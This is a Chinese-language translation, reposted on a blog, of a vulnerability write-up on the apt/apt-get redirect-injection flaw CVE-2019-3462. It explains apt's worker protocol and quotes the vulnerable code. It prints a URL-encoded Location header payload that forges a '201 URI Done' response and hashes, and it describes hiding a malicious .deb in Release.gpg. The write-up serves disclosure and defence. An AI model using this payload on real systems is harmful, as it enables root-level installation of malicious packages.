apt/apt-get 远程代码执行漏洞分析

2019-04-04 约 2098 字 预计阅读 5 分钟

声明:本文 【apt/apt-get 远程代码执行漏洞分析】 由作者 TBDChen 于 2019-01-25 09:35:00 首发 先知社区 曾经 浏览数 3158 次

感谢 TBDChen 的辛苦付出!

翻译稿件:https://justi.cz/security/2019/01/22/apt-rce.html

1月22日,Max Justicz 在其博客中发布了关于 apt/apt-get 的远程执行漏洞(CVE-2019-3462)。
漏洞允许一个中间人或者是恶意的镜像源在受害者的机器上以root权限安装任意的软件包。
这个Bug已经在最新版本的apt中修复。
建议你也尽快升级你的apt版本,如果你担心在升级apt的过程中被攻击,你可以使用如下命令在升级的过程中禁用HTTP重定向。

$ sudo apt update -o Acquire::HTTP::AllowRedirect=false
$ sudo apt upgrade -o Acquire::HTTP::AllowRedirect=false

但是如果你当前的的镜像源默认为重定向的,那么你只能重新配置一个新的镜像源了。
如果你感兴趣,你也可以查看DebianUbuntu对于该漏洞的官方声明。

这里是该漏洞POC的视频,这是关于这个视频中配置环境的的Dockerfile:

FROM debian:latest

RUN apt-get update && apt-get install -y cowsay

背景

apt 支持多种协议。在获取数据的时候,apt 会对不同协议的数据传输 fork 出不同子进程(worker processes)。
父进程会利用 stdin/stdout 与这些子进程进行通信,通过一个类似 HTTP 的协议,告诉他们去下载什么东西,下载的东西放在那里,
例如,当在一台机器上运行指令 apt install cowsay,apt 将会 fork /usr/lib/apt/methods/HTTP的进程,返回 100 Capabilities 的信息。

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

父进程将会将基本的配置发送过去,并请求一个资源。

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

子进程在请求资源后,将会有如下的返回值

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

但是,如果HTTP服务器返回一个重定向,子进程则会返回一个 103 Redirect 而不是 201 URI Done
然后父进程则会根据这个重定向的返回值确定下一次要请求的资源。

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞

然而,子进程在处理HTTP服务器的返回值时,只是解码了HTTP头中的 location 字段,并且未加任何判断,就添加到了 103 Redirect 的返回值中

// From methods/baseHTTP.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
            << "New-URI: " << NewURI << "\n"
            << "\n" << std::flush;
Dequeue();
}

需要注意的是,上面这段代码在不同的apt版本中有很大的差别。上面的代码是选自1.4.X版本的,也就是Debian目前正在使用的版本。
而一些新版的Ubuntu使用的是1.6.X版本的apt,尽管在这里会对URI进行判断,但是在返回 600 URI Acquire 时也同样存在漏洞。

所以,如果HTTP服务器返回的Header中为 Location: /new-uri%0AFoo%3A%20Bar, 子进程将返回如下内容:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

或者,如果HTTP服务器返回的Header中为

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20HTTP%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

子进程将返回如下内容:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

这是,父进程将会信任在201 URI Done中植入的hash值,并且与对应的包进行对比。
因此攻击者可以伪造任意hash,并且利用这个漏洞来伪造任意的软件包。

如何植入恶意的软件包

在我的POC中,因为我是直接插入了一个201 URI Done,这样被攻击的机器上并没有开始下载软件包。
这时,我需要考虑一个方法,能够让我的恶意 .deb 程序被下载到目标机器上。

为了实现这一目标,我想到了在 apt update 期间下载的 Release.gpg 文件是可以被操纵的,并且会被下载到可预测的位置。
特别是,Release.gpg 文件包含了PNG签名,它的形式如下:

-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE----

如果在 Release.gpg 文件中包含了一些其他的内容,只要不破坏签名部分的内容,apt的签名验证程序依然可以通过。
所以我拦截了Release.gpg 文件的响应,并将我的恶意 .deb 添加在其前面。

<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

然后,我在安装软件包的201 URI Done响应中设置Filename参数指向:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

译者注:
这样,apt就会从将deb.debian.org_debian_dists_stretch_Release.gpg看做是一个*.deb安装包,并将其安装到系统中。

关于HTTP和HTTPS的一些讨论

为了便于使用,Debian 和 Ubuntu 默认情况下都会使用明文的HTTP存储库。

如果所有的文件都签名过了,那为什么还要使用HTTPS?
毕竟,使用HTTPS对用户的隐私增益很小,因为签名能够保证软件包不被替换。
并且使用HTTPS使得软件包的缓存更加困难。

人们普遍赞同这种观点,甚至还有人专门搭建了一个网站来解释为什么在apt中使用HTTPS是毫无意义的。

当然,他们说的也有对的地方,但是却会出现这篇文章中的漏洞。
而这个漏洞其实也有类似的案例 - Jann Horn在2016年就发现的另一个具有相同影响的漏洞
即使是使用HTTPS,一个恶意镜像仍然可以利用这样的bug。
但我认为,一个普通的网络攻击者发起这种攻击的可能性,远远大于 deb.debian.org

支持HTTP也没什么不好,我只是认为应该将默认的链接方式设置为HTTPS,
如果用户在深入了解机制后,可以自己将其降级为HTTP。

总结

首先要感谢 apt 的维护者们这么快就将漏洞补上了,在和 Debian 团队协调后,我才将这个漏洞的细节纰漏。

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now